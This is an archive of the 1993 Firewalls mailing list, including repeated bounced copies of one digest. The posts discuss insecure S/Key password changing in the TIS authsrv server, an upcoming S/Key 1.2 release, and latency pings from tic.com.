570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 16:44:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07420; Tue, 7 Dec 93 16:44:10 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07399; Tue, 7 Dec 93 08:43:42 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66XE2IL9S90N0UZ@icdc.llnl.gov>; Tue, 7 Dec 1993 08:43:46 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66XE2J4KI90N0UZ@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 16:50:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07462; Tue, 7 Dec 93 16:50:17 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07449; Tue, 7 Dec 93 08:50:03 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66XM84BHS90N0YH@icdc.llnl.gov>; Tue, 7 Dec 1993 08:50:20 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66XM854FM90N0YH@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 16:55:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07488; Tue, 7 Dec 93 16:55:36 GMT Received: from rome.software.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07480; Tue, 7 Dec 93 08:55:25 PST Received: from venice.software.com [198.17.234.5] by rome.software.com with SMTP id AAA19642; Tue, 7 Dec 1993 08:56:20 -0800 X-Sender: john@rome.software.com X-Mailer: Date: Tue, 07 Dec 1993 08:56:41 -0800 Message-Id: <19931207085620.rome.AAA19642@venice.software.com> To: firewalls@GreatCircle.COM From: John.MacFarlane@Software.Com (John L. MacFarlane) Subject: Ping from xfrsparc.tic.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk FYI: If anyone logs their pings, this might explain some. - Just thought folks might be interested. >Return-Path: >From: smoot@tic.com >To: John.MacFarlane@software.com (John L. MacFarlane) >Cc: smoot@tic.com, jsq@tic.com >Subject: Re: Ping from xfrsparc.tic.com >Date: Tue, 07 Dec 93 08:52:30 -0600 > >>We periodically receive a ping from xfrsparc.tic.com [192.135.128.132] >>and were wondering why this keeps occurring? I am not so concerned >>with security but am rather curious why? > >We are gathering latency statistics for our publicaitons. If you do >not want to be pinged, please let us know and we will delete you from >the target list. We ping each host 4 times a day which puts a minimal >load on any system in our target list. > >Smoot > John L. MacFarlane john.macfarlane@software.com From Firewalls-Owner@GreatCircle.COM Tue Dec 7 10:03:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07872; Tue, 7 Dec 93 17:39:47 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07867; Tue, 7 Dec 93 09:39:32 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66VMD4RA890N09X@icdc.llnl.gov>; Tue, 7 Dec 1993 07:53:11 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66VMD5K8290N09X@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 10:21:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07900; Tue, 7 Dec 93 17:41:23 GMT Received: from icdc.llnl.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AB07867; Tue, 7 Dec 93 09:41:11 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66WRQAF4090N0NM@icdc.llnl.gov>; Tue, 7 Dec 1993 08:25:45 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66WRQB81U90N0NM@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 23:50:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA11414; Wed, 8 Dec 93 07:03:56 GMT Received: from akasha.tic.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA08333; Tue, 7 Dec 93 10:41:24 PST Received: by akasha.tic.com (5.65/akasha.m4.1.14) id AA03348; Tue, 7 Dec 93 12:41:45 -0600 Message-Id: <9312071841.AA03348@akasha.tic.com> To: John.MacFarlane@software.com (John L. MacFarlane) Cc: firewalls@greatcircle.com Subject: Re: Ping from xfrsparc.tic.com In-Reply-To: Your message of "Tue, 07 Dec 93 08:56:41 PST." <19931207085620.rome.AAA19642@venice.software.com> Date: Tue, 07 Dec 93 12:41:39 -0600 From: jsq@tic.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >FYI: > >If anyone logs their pings, this might explain some. > - Just thought folks might be interested. See also: ftp.tic.com:matrix/mmq/latency/overview Thanks, John John S. Quarterman Texas Internet Consulting (TIC) jsq@tic.com +1-512-451-6176 fax: +1-512-452-0127 1106 Clayton Lane, Suite 500W Austin, TX 78723 U.S.A. From Firewalls-Owner@GreatCircle.COM Wed Dec 8 00:14:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA11424; Wed, 8 Dec 93 07:04:07 GMT Received: from crimelab.crimelab.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA08472; Tue, 7 Dec 93 11:15:06 PST Received: from localhost (chasin@localhost) by crimelab.crimelab.com (8.6.4/8.6.4) id NAA12284; Tue, 7 Dec 1993 13:08:46 -0600 Date: Tue, 7 Dec 1993 13:08:46 -0600 From: Scott Chasin Message-Id: <199312071908.NAA12284@crimelab.crimelab.com> To: Remy.Giraud@meteo.fr, alastair@Cadence.COM Subject: Re: TIS authsrv and s/key Cc: firewalls@greatcircle.com, skey-users@thumper.bellcore.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk S/Key version 1.2 should be released this week. The new release fixes several bugs and will include it's own S/key authentication server which allows key initialization in secure mode. An access control file has also been added to the distribution. If you would like to help out with the new release, I am looking for sites which could help port and test the distribution. Please mail me for more information. --S From Firewalls-Owner@GreatCircle.COM Wed Dec 8 00:20:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA11396; Wed, 8 Dec 93 07:03:43 GMT Received: from mailgate.cadence.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA08235; Tue, 7 Dec 93 10:29:44 PST Received: from localhost (smap@localhost) by mailgate.cadence.com (8.6.4/8.6.4) id KAA16142; Tue, 7 Dec 1993 10:23:03 -0800 Date: Tue, 7 Dec 1993 10:23:03 -0800 Message-Id: <199312071823.KAA16142@mailgate.cadence.com> Received: from unknown(158.140.32.223) by mailgate.cadence.com via smap (V1.0mjr) id sma016121; Tue Dec 7 10:22:51 1993 To: Remy Giraud From: alastair@cadence.com (Alastair Young) X-Sender: alastair@eudora1 Subject: Re: TIS authsrv and s/key Cc: firewalls@greatcircle.com, skey-users@thumper.bellcore.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >> >> >> I am playing with the TIS toolkit and have come across something I >>wouldn't >> >> have done that way and am therefore tempted to change. I'd like to hear >> >> from the list why they think I should leave well alone (or not :-). >> >> >> >> Password changing on s/key. This requires the user to enter the "secret" >> >> password, the one part of the s/key stuff which is normally never leaves >> >> the user's local system. I would like to change it so that the user enters >> >> the three non-secrets when resetting the password, ie the new sequence >> >> number, seed and the resulting s/key. >> > >> >This option is available in the version I use (I believe it's a -s). >> >Hence, we thought your idea was a good one, too. >> >> Yes, if you are using the keyinit program directly. I was referring to >> password changing via the TIS authsrv autentication server. It is linked to >> the s/key library and allows password changing but only in the "insecure" >> form. >I have notice the same problem do you got an answer from TIS ? >Remy > Yes. 